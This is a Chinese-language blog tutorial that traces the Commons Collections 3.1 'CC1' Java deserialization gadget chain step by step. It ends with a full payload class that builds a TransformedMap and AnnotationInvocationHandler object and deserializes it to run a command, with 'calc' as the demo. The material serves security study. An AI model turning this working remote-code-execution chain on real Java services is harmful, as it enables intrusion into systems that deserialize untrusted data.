CommonsCollections1
创始人
2025-05-29 08:47:59
0

Commons Collections简介

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

思路

因为Commons Collections都是一些集合类,集合类一般都可以接受任意对象,所以直接去找方法调用即可

反序列化流程:

image-20230313230345778

环境安装

jdk

jdk一般都用的8u65版本,可以从官网下载

可以再虚拟机中安装,再将jdk拷贝到物理机

image-20230313234356617

之后将里面的scr.zip解压

image-20230313234539112

换源码

其实原生的src里面是没有sun包的。

image-20230313234642187

需要外置导入。
下载JDK对应的openJDK,

openJDK

image-20230313234730649

找到src\share\classes下的sun

image-20230313234857863

复制到jdk下的src下。

image-20230313235703224

构建项目

导入项目

image-20230313235540539

创建一个新的maven项目

image-20230313235855343

再用3.1版本的cc1的maven即可

commons-collectionscommons-collections3.1

看到这样的目录我们就构建成功了

image-20230315113321570

Commons Collections命令执行

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class cc1 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer transformer = new ChainedTransformer(transformers);transformer.transform(1);}
}

image-20230315104933077

分析

Transformer[] transformers = new Transformer[]{ //数组new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer

定义了transformer数组,之后将Runtime.getRuntime()传入到ConstantTransformer中,而我们命令执行的时候需要的就是Runtime.getRuntime()下的exec

跟一下ConstantTransformer

image-20230315111856322

他将Runtime.getRuntime传到iConstant中,而iConstant是个object类型的

image-20230315112415503

可以看到iConstant里面有一个transform方法,可以直接将传入的东西返回出来,

ConstantTransformer->iConstant->Runtime.getRuntime()

之后

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer transformer = new ChainedTransformer(transformers);transformer.transform(1);}

这是将InvokerTransformer传入了一串东西,看一下InvokerTransformer构造

image-20230315112943481

接受了三个参数,String类型,Class类型和Object,传入之后就相当于

        iMethodName = exec;iParamTypes = String.class;iArgs = calc;

为啥要这样传呢,在InvokerTransformer中,有一个transform方法

image-20230315113536152

而其中的

image-20230315113617346

很明显的一个反射执行命令

Class cls = input.getClass();

可以获得一个类

Method method = cls.getMethod(iMethodName, iParamTypes);

可以获得类的方法,而我们之前传进去的

iMethodName = exec;iParamTypes = String.class;iArgs = calc;

这三个参数,就可以通过getMethod获得,也就是

Method method = cls.getMethod(exec, String.class);

最后执行命令是

return method.invoke(input, iArgs);

直接通过invoke,input就可以是我们传出的Runtime.getRuntime()iArgs其实就是参数,也就是传入的calc,这就造成了命令执行

但他怎么才能命令执行,也就是获取正确的class

在poc中还有一段

Transformer transformer = new ChainedTransformer(transformers);transformer.transform(1);

transformers这个数组放到了ChainedTransformer中,追一下ChainedTransformer

image-20230315132029685可以看到他接受的就是一个transformers数组,并且将他放在了iTransformers

而在poc中,对transform传了一个参数

        transformer.transform(1);

追一下这个方法

image-20230315132433511

一个for循环,并且里面的iTransformers是我们之前传的参数,再通过iTransformers[i].transform(object);达到命令执行

跟一下断点

image-20230315133001020

可以看到iTransformers.length一定是二,因为我们上面传的是两个参数,for循环中,当i=0时,就会调用ConstanTransformer.transform(可以看箭头,很明显),同样的道理,当i=1时,调用InvokerTransformer.transform

继续跟进验证一下

image-20230315133321471

确实是,而刚刚我们将Runtime.getRuntime()存到了iConstant

ConstantTransformer->iConstant->Runtime.getRuntime()

直接return

image-20230315133704570

可以看到,现在的object就是我们需要的Runtime.getRuntime(),i=0就完成了,接下来继续i=1,在i=1中objec是等于Runtime.getRuntime()

继续跟

image-20230315134249081

可以看到getMethod中的参数是我们在poc中传入的,而Object input正好是我们要的Runtime.getRuntime(),就命令执行了

image-20230315135230785

cc1链

首先就是接口Transformer

image-20230315210151276

只有一个transform方法,找这个方法的接口类

image-20230315210519002

进去之后就看到了我们之前说的反射类命令执行

image-20230315210557920

就到了InvokerTransformertransform,再往下找哪里调用了InvokerTransformertransform

image-20230316140420813

checkSetValue中调用了valueTransformertransform,再看看valueTransformer是啥

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

保护方法只能被自己调用,再找调用他的函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

decorate中调用了TransformedMap给他做了一个封装

再去找调用checkSetValue

image-20230316141104849

setValue中被调用,其中setValue就是entry.map中的一个方法,如果我们吧map都遍历一边,那就肯定会调用到setValue,之后就会调用checkSetValue,进而到我们想要的transform,之后再去找遍历数组的地方,调用setValue

image-20230316144646717

AnnotationInvocationHandler中找到了调用setValue而且遍历map的方法,用反射获取信息

写poc的时候

Runtime r = Runtime.getRuntime();

不能被反序列化因为没有接口,所以用反射来获取他的属性之后再反序列化

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);Class c = Runtime.class;

之后将所有transformer放到一个中,就可以只调用一次就可以

                Transformer[] transformers = new Transform[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transforms);chainedTransformer.transform(Runtime.class);

之后因为这里有两个if语句也要绕过才能调用setValue

image-20230316155831494

第一个if

if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();

实际上就是让我们找一个有成员方法的class,同时map.put()中的数组要改成成员方法的名字

例如map.put('value','aaa')

第二个if

if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {

判断这两个东西是否能强转,这里肯定是不可以的所有就绕过了两个if了

但setValue实参不可控,但刚开始我们有一个tranform

image-20230316162344996

可以直接返回我们输入的,我们最后调用这个点就可以

Transformer[] transformers = new Transform[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

最终payload

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;public class cc1 {public static void main(String[] args) throws Exception {
//        Transformer[] transformers = new Transformer[]{ //数组
//                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        HashMap map = new HashMap();
//        map.put("key","123");
//        Map transformedMap = TransformedMap.decorate(map,null,chaine);
//        //遍历map
//        for(Map.Entry entry:map.entrySet()){
//            entry.setValue(r);
//        }
//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//        Class c = Runtime.class;Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);HashMap map = new HashMap();map.put("value","123");Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor a = c.getDeclaredConstructor(Class.class,Map.class);//确定可以访问a.setAccessible(true);Object o =  a.newInstance(Target.class,transformedMap);serialize(o);unserializ("ser.bin");//        TransformedMap.decorate(map,null,invokerTransformer);};//        Transformer transformer = new ChainedTransformer(transformers);
//        transformer.transform(1);public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserializ(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

在这里插入图片描述

相关内容

热门资讯

家园共育的活动方案 家园共育的活动方案(精选8篇)  为确保活动顺利开展,常常需要提前制定一份优秀的活动方案,活动方案是...
趣味数学活动方案 趣味数学活动方案(精选11篇)  为了确保活动有效开展,常常要根据具体情况预先制定活动方案,活动方案...
幼儿园学生社会实践活动方案 幼儿园学生社会实践活动方案是怎样的,以下是unjs小编精心整理的相关内容,希望对大家有所帮助!幼儿园...
班级活动方案 班级活动方案3篇  为保证事情或工作高起点、高质量、高水平开展,常常需要预先制定方案,方案属于计划类...
学习Java——java种各种... 目录 transient  instanceof const   final final变量 fin...
带头双向循环链表 在前面我们学习了单链表,发现单链表还是有一些不够方便,比如我们要尾插&#...
幼儿园开学第一天活动方案范文   2017幼儿园开学第一天活动方案需要怎么备课呢?我们不妨一起来参考下范文吧!以下是小编为您搜集整...
幼儿园招生活动方案 幼儿园招生活动方案(通用15篇)  为了保障事情或工作顺利、圆满进行,预先制定方案是必不可少的,方案...
Servlet的详细使用 文章目录Servlet体系结构Servlet urlPattern配置Request和Respons...
Java 基础学习总结(205... 参数校验 入参出参校验是每个程序员必备的基本素养。你设计的接口,必须先校验参数。比如入参是否允许为空...
Three.js——learn... Three.js——learn02Three.js——learn02通过轨道控制器查看物体Orbit...
小学读书交流会活动方案 小学读书交流会活动方案范文(通用15篇)  为确保活动顺利开展,预先制定活动方案是必不可少的,活动方...
打折促销活动方案 打折促销活动方案  为了确定工作或事情顺利开展,通常需要预先制定一份完整的方案,方案的内容和形式都要...
java-day01  程序就是有序指令的集合 cmd执行java程序,javac Test.java&#x...
十一月诚信·慎独教育月活动方... 十一月诚信·慎独教育月活动方案  在平凡的学习、工作、生活中,许多人都有过写信的经历,对书信都不陌生...
SpringCloud读取Na... hello,我是灰小猿,一个超会写bug的程序员! 近期在...
同课异构活动方案 同课异构活动方案(通用7篇)  为了确保活动扎实开展,预先制定活动方案是必不可少的,活动方案其实就是...
国庆优惠活动促销方案 国庆优惠活动促销方案(通用11篇)  为确保活动高质量高水平开展,常常需要提前制定一份优秀的活动方案...
五四晚会活动方案 五四晚会活动方案(通用13篇)  为保障活动顺利开展,常常需要预先准备活动方案,活动方案是为某一活动...
学校主题活动方案 学校主题活动方案(通用25篇)  为有力保证活动开展的质量水平,时常需要预先制定一份周密的活动方案,...